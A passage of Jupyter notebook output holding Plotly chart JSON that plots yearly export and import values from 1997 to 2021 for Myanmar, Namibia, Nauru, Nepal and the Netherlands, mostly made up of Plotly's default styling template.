Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 49.31, - 30.12, - 34.1, - 52.71, - 60.89, - 75.07, - 89.64, - 113.19, - 110.7, - 140.44, - 185.82, - 221.64, - 207.97, - 320.62, - 545.38, - 544.66, - 787.01, - 773.24, - 1070.65, - 1107.89, - 966.19, - 1205.6, - 973.89, - 772.56, - 671.22 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 49.31, - 30.12, - 34.1, - 52.71, - 60.89, - 75.07, - 89.64, - 113.19, - 110.7, - 140.44, - 185.82, - 221.64, - 207.97, - 320.62, - 545.38, - 544.66, - 787.01, - 773.24, - 1070.65, - 1107.89, - 966.19, - 1205.6, - 973.89, - 772.56, - 671.22 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.72, - 13.72, - 3.11, - 3.32, - 9.88, - 4.97, - 7.69, - 7.22, - 14.65, - 18.39, - 41.28, - 92.78, - 63.07, - 55.41, - 64.33, - 56.82, - 212.39, - 107.82, - 73.62, - 89.88, - 43.87, - 82.37, - 66.18, - 51.01, - 98.27 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 0.62, - 0.22, - 0.02, - 0.18, - 0.05, - 0.11, - 0.01, - 0.01, - 0.02, - 0.07, - 0.12, - 0.08, - 0.11, - 0.21, - 0, - 0.17, - 0.02, - 0.01, - 2.53, - 1.36, - 0.53, - 0.14, - 0.1, - 0.16 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 170.05, - 122.41, - 151.23, - 140.84, - 214.46, - 350.36, - 669.35, - 743.14, - 859.97, - 927.4, - 1507.42, - 1570.15, - 1533.31, - 2168.06, - 2721.57, - 3088.84, - 3592.3, - 4558.77, - 3902.7, - 5453.59, - 6612.96, - 7766.2, - 7160.35, - 6838.46, - 7073 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 802.39, - 763.53, - 885.76, - 880.09, - 863.88, - 1047.91, - 1289.11, - 1604.86, - 2474.78, - 2674.55, - 5249.08, - 6348.69, - 6397.56, - 7677.56, - 9151.25, - 10565.02, - 7995.59, - 6324.72, - 4725.1, - 5069.69, - 6261.14, - 8812.84, - 8366.11, - 6472.82, - 8114.98 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 224.01, - 173.76, - 171.59, - 181.69, - 374.43, - 336.04, - 409.01, - 405.91, - 525.96, - 782.65, - 808.63, - 928.97, - 1289.8, - 1017.67, - 1381.15, - 1412.69, - 1395.67, - 1231.54, - 984.27, - 1067.25, - 639.64, - 521.49, - 547.25, - 526.79, - 669.21 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 224.01, - 173.76, - 171.59, - 181.69, - 374.43, - 336.04, - 409.01, - 405.91, - 525.96, - 782.65, - 808.63, - 928.97, - 1289.8, - 1017.67, - 1381.15, - 1412.69, - 1395.67, - 1231.54, - 984.27, - 1067.25, - 639.64, - 521.49, - 547.25, - 526.79, - 669.21 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 0.01, - 0.22, - 0.43, - 0.19, - 3.27, - 0.1, - 0.05, - 20.77, - 3.38, - 20.68, - 3.39, - 41.88, - 36.76, - 10.25, - 9.19, - 13, - 34.42, - 10.42, - 50.31, - 62.2, - 53.55, - 28.54, - 30.23, - 40.16 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 2.06, - 8.11, - 7.43, - 1.74, - 2.27, - 3.66, - 1.69, - 0.18, - 0.75, - 0.4, - 28.07, - 15.72, - 4.05, - 15.18, - 21.03, - 4.76, - 10.19, - 5.76, - 0.04, - 0.01, - 0.16, - 0.07, - 0.05, - 17 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 95.16, - 144.85, - 188.63, - 255.08, - 355.94, - 281.76, - 286.04, - 345.83, - 379.85, - 306.02, - 628.56, - 496.04, - 452.61, - 513.4, - 549.97, - 543.1, - 529.93, - 639.91, - 470.59, - 445.13, - 438.38, - 508.14, - 711.61, - 673.16, - 1118.51 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 445.19, - 464.19, - 470.9, - 437.53, - 466.47, - 385.74, - 535.56, - 791.46, - 1049.55, - 1158.4, - 1926.73, - 1914.95, - 2130, - 1853.1, - 2618.5, - 2379.09, - 3138.92, - 2802.9, - 1859.9, - 1895.71, - 2512.63, - 4062.8, - 3390.97, - 3317.72, - 3255.46 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { 